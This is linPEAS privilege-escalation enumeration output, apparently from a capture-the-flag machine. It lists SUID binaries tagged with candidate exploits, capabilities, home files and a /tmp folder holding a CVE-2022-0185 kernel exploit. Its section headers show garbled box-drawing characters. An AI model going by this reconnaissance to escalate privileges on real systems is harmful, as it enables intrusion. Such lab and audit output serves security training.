lrwxrwxrwx 1 root root 24 nov 17 08:09 /etc/mysql/my f -> /etc/alternatives/my f
-rw-r--r-- 1 root root 81 dec 1 18:13 /var/lib/dpkg/alternatives/my f
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing other interesting files (limit 70)
-rw-r--r-- 1 root root 3771 feb 25 2020 /etc/skel/.bashrc
-rw-r--r-- 1 player player 3771 feb 25 2020 /home/player/.bashrc
-rw-r--r-- 1 root root 3771 feb 25 2020 /snap/core20/1695/etc/skel/.bashrc
-rw------- 1 player player 36 mar 19 05:23 /home/player/.lesshst
-rw-r--r-- 1 root root 807 feb 25 2020 /etc/skel/.profile
-rw-r--r-- 1 player player 807 feb 25 2020 /home/player/.profile
-rw-r--r-- 1 root root 807 feb 25 2020 /snap/core20/1695/etc/skel/.profile
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?/p>
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 interesting files 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 suid - check easy privesc, exploits and write perms
鈺? book.hacktricks /linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 42k nov 17 09:09 /usr/local/bin/doas
-rwsr-xr-x 1 root root 140k nov 28 04:55 /usr/lib/snapd/snap-confine ---> ubuntu_snapd<2.37_dirty_sock_local_privilege_escalation(cve-2019-7304)
-rwsr-xr-- 1 root messagebus 51k oct 25 13:09 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 463k mar 30 2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 23k feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 15k jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 39k feb 7 2022 /usr/bin/umount ---> bsd/linux(08-1996)
-rwsr-xr-x 1 root root 39k mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 55k feb 7 2022 /usr/bin/mount ---> apple_mac_osx(lion)_kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 67k feb 7 2022 /usr/bin/su
-rwsr-xr-x 1 root root 44k nov 29 11:53 /usr/bin/newgrp ---> hp-ux_10.20
-rwsr-xr-x 1 root root 84k nov 29 11:53 /usr/bin/chfn ---> suse_9.3/10
-rwsr-xr-x 1 root root 163k jan 19 2021 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 67k nov 29 11:53 /usr/bin/passwd ---> apple_mac_osx(03-2006)/solaris_8/9(12-2004)/sparc_8/9/sun_solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 87k nov 29 11:53 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52k nov 29 11:53 /usr/bin/chsh
-rwsr-sr-x 1 daemon daemon 55k nov 12 2018 /usr/bin/at ---> rtru64_unix_4.0g(cve-2002-1614)
-rwsr-xr-x 1 root root 121k nov 25 17:29 /snap/snapd/17883/usr/lib/snapd/snap-confine ---> ubuntu_snapd<2.37_dirty_sock_local_privilege_escalation(cve-2019-7304)
-rwsr-xr-x 1 root root 84k mar 14 2022 /snap/core20/1695/usr/bin/chfn ---> suse_9.3/10
-rwsr-xr-x 1 root root 52k mar 14 2022 /snap/core20/1695/usr/bin/chsh
-rwsr-xr-x 1 root root 87k mar 14 2022 /snap/core20/1695/usr/bin/gpasswd
-rwsr-xr-x 1 root root 55k feb 7 2022 /snap/core20/1695/usr/bin/mount ---> apple_mac_osx(lion)_kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 44k mar 14 2022 /snap/core20/1695/usr/bin/newgrp ---> hp-ux_10.20
-rwsr-xr-x 1 root root 67k mar 14 2022 /snap/core20/1695/usr/bin/passwd ---> apple_mac_osx(03-2006)/solaris_8/9(12-2004)/sparc_8/9/sun_solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 67k feb 7 2022 /snap/core20/1695/usr/bin/su
-rwsr-xr-x 1 root root 163k jan 19 2021 /snap/core20/1695/usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 39k feb 7 2022 /snap/core20/1695/usr/bin/umount ---> bsd/linux(08-1996)
-rwsr-xr-- 1 root systemd-resolve 51k oct 25 13:09 /snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 463k mar 30 2022 /snap/core20/1695/usr/lib/openssh/ssh-keysign
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 sgid
鈺? book.hacktricks /linux-hardening/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root utmp 15k sep 30 2019 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwxr-sr-x 1 root shadow 31k nov 29 11:53 /usr/bin/expiry
-rwxr-sr-x 1 root crontab 43k feb 13 2020 /usr/bin/crontab
-rwxr-sr-x 1 root tty 15k mar 30 2020 /usr/bin/bsd-write
-rwxr-sr-x 1 root ssh 343k mar 30 2022 /usr/bin/ssh-agent
-rwxr-sr-x 1 root shadow 83k nov 29 11:53 /usr/bin/chage
-rwxr-sr-x 1 root tty 35k feb 7 2022 /usr/bin/wall
-rwsr-sr-x 1 daemon daemon 55k nov 12 2018 /usr/bin/at ---> rtru64_unix_4.0g(cve-2002-1614)
-rwxr-sr-x 1 root shadow 43k sep 17 2021 /usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 43k sep 17 2021 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 83k mar 14 2022 /snap/core20/1695/usr/bin/chage
-rwxr-sr-x 1 root shadow 31k mar 14 2022 /snap/core20/1695/usr/bin/expiry
-rwxr-sr-x 1 root crontab 343k mar 30 2022 /snap/core20/1695/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 35k feb 7 2022 /snap/core20/1695/usr/bin/wall
-rwxr-sr-x 1 root shadow 43k sep 17 2021 /snap/core20/1695/usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 43k sep 17 2021 /snap/core20/1695/usr/sbin/unix_chkpwd
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 checking misconfigurations of ld.so
鈺? book.hacktricks /linux-hardening/privilege-escalation#ld-so
/etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf
/etc/ld.so.conf.d
/etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
/usr/lib/x86_64-linux-gnu/libfakeroot
/etc/ld.so.conf.d/libc.conf
/usr/local/lib
/etc/ld.so.conf.d/x86_64-linux-gnu.conf
/usr/local/lib/x86_64-linux-gnu
/lib/x86_64-linux-gnu
/usr/lib/x86_64-linux-gnu
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 capabilities
鈺? book.hacktricks /linux-hardening/privilege-escalation#capabilities
current env capabilities:
current: =
current proc capabilities:
capinh: 0000000000000000
capprm: 0000000000000000
capeff: 0000000000000000
capbnd: 0000003fffffffff
capamb: 0000000000000000
parent shell capabilities:
0x0000000000000000=
files with capabilities (limited to 50):
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin ep
/usr/bin/traceroute6.iputils = cap_net_raw ep
/usr/bin/ping = cap_net_raw ep
/usr/bin/mtr-packet = cap_net_raw ep
/snap/core20/1695/usr/bin/ping = cap_net_raw ep
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 users with capabilities
鈺? book.hacktricks /linux-hardening/privilege-escalation#capabilities
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 apparmor binary profiles
-rw-r--r-- 1 root root 3461 jun 21 2022 sbin.dhclient
-rw-r--r-- 1 root root 3202 feb 25 2020 usr.bin.man
-rw-r--r-- 1 root root 28486 nov 28 04:55 usr.lib.snapd.snap-confine.real
-rw-r--r-- 1 root root 2006 oct 19 11:35 usr.sbin.mysqld
-rw-r--r-- 1 root root 1575 feb 11 2020 usr.sbin.rsyslogd
-rw-r--r-- 1 root root 1385 dec 7 2019 usr.sbin.tcpdump
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 files with acls (limited to 50)
鈺? book.hacktricks /linux-hardening/privilege-escalation#acls
files with acls in searched folders not found
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 .sh files in path
鈺? book.hacktricks /linux-hardening/privilege-escalation#script-binaries-in-path
/usr/bin/rescan-scsi-bus.sh
/usr/bin/gettext.sh
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 executable files potentially added by user (limit 70)
2022-11-17 09:09:15.5479107120 /usr/local/bin/doasedit
2022-11-17 09:09:15.5439087120 /usr/local/bin/vidoas
2022-11-17 09:09:15.5399067120 /usr/local/bin/doas
2022-11-15 21:42:19.3514476930 /etc/grub.d/01_track_initrdless_boot_fallback
2022-11-15 21:40:43.9906230840 /etc/console-setup/cached_setup_terminal.sh
2022-11-15 21:40:43.9906230840 /etc/console-setup/cached_setup_keyboard.sh
2022-11-15 21:40:43.9906230840 /etc/console-setup/cached_setup_font.sh
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 unexpected in root
/data
/vagrant
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 files (scripts) in /etc/profile.d/
鈺? book.hacktricks /linux-hardening/privilege-escalation#profiles-files
total 36
drwxr-xr-x 2 root root 4096 dec 1 18:14 .
drwxr-xr-x 101 root root 4096 dec 13 07:44 ..
-rw-r--r-- 1 root root 96 dec 5 2019 01-locale-fix.sh
-rw-r--r-- 1 root root 1557 feb 17 2020 z97-byobu.sh
-rw-r--r-- 1 root root 835 oct 17 16:25 apps-bin-path.sh
-rw-r--r-- 1 root root 729 feb 2 2020 bash_completion.sh
-rw-r--r-- 1 root root 1003 aug 13 2019 cedilla-portuguese.sh
-rw-r--r-- 1 root root 1107 nov 3 2019 gawk.csh
-rw-r--r-- 1 root root 757 nov 3 2019 gawk.sh
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 permissions in init, init.d, systemd, and rc.d
鈺? book.hacktricks /linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d
鈺愨暎 hashes inside passwd file? ........... no
鈺愨暎 writable passwd file? ................ no
鈺愨暎 credentials in fstab/mtab? ........... no
鈺愨暎 can i read shadow files? ............. no
鈺愨暎 can i read shadow plists? ............ no
鈺愨暎 can i write shadow plists? ........... no
鈺愨暎 can i read opasswd file? ............. no
鈺愨暎 can i write in network-scripts? ...... no
鈺愨暎 can i read root folder? .............. no
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching root files in home dirs (limit 30)
/home/
/home/player/.viminfo
/home/player/user.txt
/home/player/.bash_history
/root/
/var/www
/var/www/html
/var/www/html/ground1.jpg
/var/www/html/ground4.jpg
/var/www/html/football.jpg
/var/www/html/ground3.jpg
/var/www/html/index.html
/var/www/html/tiny
/var/www/html/tiny/tinyfilemanager.php
/var/www/html/tiny/uploads
/var/www/html/ground2.jpg
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching folders owned by me containing others files on it (limit 100)
/home/player
/sys/fs/cgroup/systemd/user.slice/user-1001.slice/user@1001.service
/sys/fs/cgroup/unified/user.slice/user-1001.slice/user@1001.service
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root player 33 mar 18 11:05 /home/player/user.txt
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 modified interesting files in the last 5mins (limit 100)
/var/log/auth.log
/var/log/syslog
/var/log/journal/54adfd95645d49d9a102f16e9e98293b/system.journal
/var/log/journal/54adfd95645d49d9a102f16e9e98293b/user-1001.journal
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 writable log files (logrotten) (limit 50)
鈺? book.hacktricks /linux-hardening/privilege-escalation#logrotate-exploitation
logrotate 3.14.0
default mail command: /usr/bin/mail
default compress command: /bin/gzip
default uncompress command: /bin/gunzip
default compress extension: .gz
default state file path: /var/lib/logrotate/status
acl support: yes
selinux support: yes
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 files inside /home/player (limit 20)
total 860
drwxr-xr-x 7 player player 4096 mar 19 07:07 .
drwxr-xr-x 3 root root 4096 nov 17 09:25 ..
lrwxrwxrwx 1 root root 9 nov 17 09:02 .bash_history -> /dev/null
-rw-r--r-- 1 player player 220 feb 25 2020 .bash_logout
-rw-r--r-- 1 player player 3771 feb 25 2020 .bashrc
drwx------ 2 player player 4096 nov 17 09:00 .cache
drwx------ 3 player player 4096 mar 19 04:05 .config
drwx------ 3 player player 4096 mar 19 07:08 .gnupg
-rw------- 1 player player 36 mar 19 05:23 .lesshst
drwxrwxr-x 3 player player 4096 mar 18 18:53 .local
-rw-r--r-- 1 player player 807 feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 nov 17 09:02 .viminfo -> /dev/null
-rwxrwxr-x 1 player player 828172 feb 26 04:31 linpeas.sh
drwx------ 3 player player 4096 mar 19 03:52 snap
-rw-r----- 1 root player 33 mar 18 11:05 user.txt
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 files inside others home (limit 20)
/var/www/html/ground1.jpg
/var/www/html/ground4.jpg
/var/www/html/football.jpg
/var/www/html/ground3.jpg
/var/www/html/index.html
/var/www/html/tiny/tinyfilemanager.php
/var/www/html/ground2.jpg
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching installed mail applications
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 mails (limit 50)
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 backup files (limited 100)
-rw-r--r-- 1 root root 7867 jul 16 1996 /usr/share/doc/telnet/readme.old.gz
-rw-r--r-- 1 root root 392817 feb 9 2020 /usr/share/doc/manpages/changes.old.gz
-rw-r--r-- 1 root root 11886 nov 17 09:07 /usr/share/info/dir.old
-rw-r--r-- 1 root root 2756 feb 13 2020 /usr/share/man/man8/vgcfgbackup.8.gz
-rwxr-xr-x 1 root root 226 feb 17 2020 /usr/share/byobu/desktop/byobu.desktop.old
-rw-r--r-- 1 root root 44048 aug 16 2022 /usr/lib/x86_64-linux-gnu/open-vm-tools/plugins/vmsvc/libvmbackup.so
-rw-r--r-- 1 root root 1802 aug 15 2022 /usr/lib/python3/dist-packages/sos/report/plugins/ovirt_engine_backup.py
-rw-r--r-- 1 root root 1413 nov 15 21:40 /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/ovirt_engine_backup.cpython-38.pyc
-rw-r--r-- 1 root root 39448 nov 15 20:42 /usr/lib/mysql/plugin/component_mysqlbackup.so
-rwxr-xr-x 1 root root 1086 nov 25 2019 /usr/src/linux-headers-5.4.0-135/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
-rw-r--r-- 1 root root 237863 nov 23 19:51 /usr/src/linux-headers-5.4.0-135-generic/.config.old
-rw-r--r-- 1 root root 0 nov 23 19:51 /usr/src/linux-headers-5.4.0-135-generic/include/config/net/team/mode/activebackup.h
-rw-r--r-- 1 root root 0 nov 23 19:51 /usr/src/linux-headers-5.4.0-135-generic/include/config/wm831x/backup.h
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching tables inside readable .db/.sql/.sqlite files (limit 100)
found /var/lib/packagekit/transactions.db: sqlite 3.x database, last written using sqlite version 3031001
found /var/lib/command-not-found/commands.db: sqlite 3.x database, last written using sqlite version 3031001
found /var/lib/fwupd/pending.db: sqlite 3.x database, last written using sqlite version 3031001
-> extracting tables from /var/lib/packagekit/transactions.db (limit 20)
-> extracting tables from /var/lib/command-not-found/commands.db (limit 20)
-> extracting tables from /var/lib/fwupd/pending.db (limit 20)
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 web files?(output limit)
/var/www/:
total 12k
drwxr-xr-x 3 root root 4.0k nov 17 08:06 .
drwxr-xr-x 14 root root 4.0k nov 17 08:06 ..
drwxr-xr-x 3 root root 4.0k nov 17 08:20 html
/var/www/html:
total 1.1m
drwxr-xr-x 3 root root 4.0k nov 17 08:20 .
drwxr-xr-x 3 root root 4.0k nov 17 08:06 ..
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 all hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)
-rw------- 1 root root 0 mar 18 11:05 /run/snapd/lock/.lock
-rw-r--r-- 1 root root 0 mar 18 11:05 /run/network/.ifstate.lock
-rw-r--r-- 1 root root 121 nov 3 11:37 /usr/lib/node_modules/npm/node_modules/node-gyp/gyp/.flake8
-rw-r--r-- 1 root root 38 oct 14 2021 /usr/lib/node_modules/npm/node_modules/qrcode-terminal/.travis.yml
-rw-r--r-- 1 root root 0 oct 14 2021 /usr/lib/node_modules/npm/.npmrc
-rw-r--r-- 1 root root 119 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/continuation-local-storage/.travis.yml
-rw-r--r-- 1 root root 422 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/continuation-local-storage/.eslintrc
-rw-r--r-- 1 root root 78 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/dayjs/.editorconfig
-rw-r--r-- 1 root root 605 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/resolve/.editorconfig
-rw-r--r-- 1 root root 1687 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/resolve/.eslintrc
-rw-r--r-- 1 root root 52 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/deep-is/.travis.yml
-rw-r--r-- 1 root root 71 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/shimmer/.travis.yml
-rw-r--r-- 1 root root 71 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/emitter-listener/.travis.yml
-rw-r--r-- 1 root root 63 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/pm2-axon-rpc/.travis.yml
-rw-r--r-- 1 root root 144 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/yamljs/.travis.yml
-rw-r--r-- 1 root root 207 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/socks/.eslintrc.cjs
-rw-r--r-- 1 root root 124 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/socks/.prettierrc.yaml
-rw-r--r-- 1 root root 230 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/fclone/.travis.yml
-rw-r--r-- 1 root root 139 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/is-core-module/.nycrc
-rw-r--r-- 1 root root 339 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/is-core-module/.eslintrc
-rw-r--r-- 1 root root 107 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/vizion/.travis.yml
-rw-r--r-- 1 root root 63 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/module-details-from-path/.travis.yml
-rw-r--r-- 1 root root 33 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/vm2/.eslintignore
-rw-r--r-- 1 root root 213 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/vm2/.eslintrc.js
-rw-r--r-- 1 root root 242 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/estraverse/.jshintrc
-rw-r--r-- 1 root root 152 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/smart-buffer/.travis.yml
-rw-r--r-- 1 root root 84 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/smart-buffer/.prettierrc.yaml
-rw-r--r-- 1 root root 1168 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/promptly/.jshintrc
-rw-r--r-- 1 root root 220 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/promptly/.editorconfig
-rw-r--r-- 1 root root 62 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/promptly/.travis.yml
-rw-r--r-- 1 root root 2343 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/@pm2/io/.drone.jsonnet
-rw-r--r-- 1 root root 280 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/@pm2/io/.mocharc.js
-rw-r--r-- 1 root root 2095 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/@pm2/js-api/.drone.jsonnet
-rw-r--r-- 1 root root 78 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/@pm2/agent/node_modules/dayjs/.editorconfig
-rw-r--r-- 1 root root 2745 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/@pm2/agent/.drone.jsonnet
-rw-r--r-- 1 root root 244 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/@pm2/agent/.mocharc.yml
-rw-r--r-- 1 root root 219 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/async-listener/.travis.yml
-rw-r--r-- 1 root root 139 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/supports-preserve-symlinks-flag/.nycrc
-rw-r--r-- 1 root root 132 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/supports-preserve-symlinks-flag/.eslintrc
-rw-r--r-- 1 root root 43 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/concat-map/.travis.yml
-rw-r--r-- 1 root root 50 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/log-driver/.travis.yml
-rw-r--r-- 1 root root 125 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/tx2/.travis.yml
-rw-r--r-- 1 root root 286 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/function-bind/.editorconfig
-rw-r--r-- 1 root root 4140 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/function-bind/.jscs.json
-rw-r--r-- 1 root root 5451 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/function-bind/.travis.yml
-rw-r--r-- 1 root root 176 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/function-bind/test/.eslintrc
-rw-r--r-- 1 root root 231 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/function-bind/.eslintrc
-rw-r--r-- 1 root root 357 nov 17 08:07 /usr/lib/node_modules/pm2/.travis.yml
-rw-r--r-- 1 root root 216 nov 17 08:07 /usr/lib/node_modules/pm2/.mocharc.js
-rw-r--r-- 1 landscape landscape 0 nov 15 21:40 /var/lib/landscape/.cleanup.user
-rw------- 1 root root 0 nov 15 21:38 /etc/.pwd.lock
-rw-r--r-- 1 root root 220 feb 25 2020 /etc/skel/.bash_logout
-rw-r--r-- 1 player player 220 feb 25 2020 /home/player/.bash_logout
-rw------- 1 root root 0 oct 27 04:34 /snap/core20/1695/etc/.pwd.lock
-rw-r--r-- 1 root root 220 feb 25 2020 /snap/core20/1695/etc/skel/.bash_logout
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)
-rwxrwxrwx 1 www-data www-data 700144 mar 18 11:45 /tmp/exploit
-rwxrwxr-x 1 player player 765818 mar 18 10:45 /tmp/linpeas.sh
-rw-rw-r-- 1 player player 166722 mar 19 04:01 /tmp/peas_result
-rw-rw-rw- 1 www-data www-data 2590720 mar 18 11:44 /tmp/dist.tar
-rw-r--r-- 1 www-data www-data 1329 mar 18 11:42 /tmp/cve-2022-0185/util.c
-rw-r--r-- 1 www-data www-data 7671 mar 18 11:42 /tmp/cve-2022-0185/exploit_fuse.c
-rw-r--r-- 1 www-data www-data 17624 mar 18 11:42 /tmp/cve-2022-0185/exploit_kctf.c
-rw-r--r-- 1 www-data www-data 1375 mar 18 11:42 /tmp/cve-2022-0185/util.h
-rw-r--r-- 1 www-data www-data 1648 mar 18 11:42 /tmp/cve-2022-0185/fakefuse.c
-rw-r--r-- 1 www-data www-data 67802 mar 18 11:42 /tmp/cve-2022-0185/libfuse/fuse_lowlevel.h
-rw-r--r-- 1 www-data www-data 18939 mar 18 11:42 /tmp/cve-2022-0185/libfuse/fuse_kernel.h
-rw-r--r-- 1 www-data www-data 45131 mar 18 11:42 /tmp/cve-2022-0185/libfuse/fuse.h
-rw-r--r-- 1 www-data www-data 27245 mar 18 11:42 /tmp/cve-2022-0185/libfuse/fuse_common.h
-rw-r--r-- 1 www-data www-data 1968 mar 18 11:42 /tmp/cve-2022-0185/libfuse/fuse_log.h
-rw-r--r-- 1 www-data www-data 7549 mar 18 11:42 /tmp/cve-2022-0185/libfuse/fuse_opt.h
-rw-r--r-- 1 www-data www-data 178 mar 18 11:42 /tmp/cve-2022-0185/libfuse/meson.build
-rw-r--r-- 1 www-data www-data 2573 mar 18 11:42 /tmp/cve-2022-0185/libfuse/cuse_lowlevel.h
-rw-r--r-- 1 www-data www-data 623 mar 18 11:42 /tmp/cve-2022-0185/fakefuse.h
-rw-r--r-- 1 www-data www-data 228 mar 18 11:42 /tmp/cve-2022-0185/makefile
-rw-r--r-- 1 www-data www-data 1798260 mar 18 11:42 /tmp/cve-2022-0185/libfuse3.a
-rw-r--r-- 1 www-data www-data 73 mar 18 11:42 /tmp/cve-2022-0185/.git/description
-rw-r--r-- 1 www-data www-data 23 mar 18 11:42 /tmp/cve-2022-0185/.git/head
-rw-r--r-- 1 www-data www-data 1482 mar 18 11:42 /tmp/cve-2022-0185/.git/index
-rw-r--r-- 1 www-data www-data 114 mar 18 11:42 /tmp/cve-2022-0185/.git/packed-refs
-rw-r--r-- 1 www-data www-data 279 mar 18 11:42 /tmp/cve-2022-0185/.git/config
-r--r--r-- 1 www-data www-data 510232 mar 18 11:42 /tmp/cve-2022-0185/.git/objects/pack/pack-0dab61f937873259ecf5d2eb543ff85605da5af1.pack
-r--r--r-- 1 www-data www-data 1716 mar 18 11:42 /tmp/cve-2022-0185/.git/objects/pack/pack-0dab61f937873259ecf5d2eb543ff85605da5af1.idx
-rw-r--r-- 1 www-data www-data 240 mar 18 11:42 /tmp/cve-2022-0185/.git/info/exclude
-rw-r--r-- 1 www-data www-data 198 mar 18 11:42 /tmp/cve-2022-0185/.git/logs/head
-rw-r--r-- 1 www-data www-data 198 mar 18 11:42 /tmp/cve-2022-0185/.git/logs/refs/heads/master
-rw-r--r-- 1 www-data www-data 198 mar 18 11:42 /tmp/cve-2022-0185/.git/logs/refs/remotes/origin/head
-rwxr-xr-x 1 www-data www-data 896 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/commit-msg.sample
-rwxr-xr-x 1 www-data www-data 4898 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/pre-rebase.sample
-rwxr-xr-x 1 www-data www-data 1492 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/prepare-commit-msg.sample
-rwxr-xr-x 1 www-data www-data 416 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/pre-merge-commit.sample
-rwxr-xr-x 1 www-data www-data 544 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/pre-receive.sample
-rwxr-xr-x 1 www-data www-data 4726 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/fsmonitor-watchman.sample
-rwxr-xr-x 1 www-data www-data 2783 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/push-to-checkout.sample
-rwxr-xr-x 1 www-data www-data 189 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/post-update.sample
-rwxr-xr-x 1 www-data www-data 424 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/pre-applypatch.sample
-rwxr-xr-x 1 www-data www-data 1643 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/pre-commit.sample
-rwxr-xr-x 1 www-data www-data 478 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/applypatch-msg.sample
-rwxr-xr-x 1 www-data www-data 1374 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/pre-push.sample
-rwxr-xr-x 1 www-data www-data 3650 mar 18 11:42 /tmp/cve-2022-0185/.git/hooks/update.sample
-rw-r--r-- 1 www-data www-data 41 mar 18 11:42 /tmp/cve-2022-0185/.git/refs/heads/master
-rw-r--r-- 1 www-data www-data 32 mar 18 11:42 /tmp/cve-2022-0185/.git/refs/remotes/origin/head
-rw-r--r-- 1 www-data www-data 1241 mar 18 11:42 /tmp/cve-2022-0185/readme.md
-rw-r--r-- 1 root root 4085 dec 1 19:02 /var/backups/apt.extended_states.1.gz
-rw-r--r-- 1 root root 172 nov 17 08:51 /var/backups/dpkg.statoverride.0
-rw-r--r-- 1 root root 682236 dec 13 07:46 /var/backups/dpkg.status.0
-rw-r--r-- 1 root root 268 nov 15 21:42 /var/backups/dpkg.diversions.0
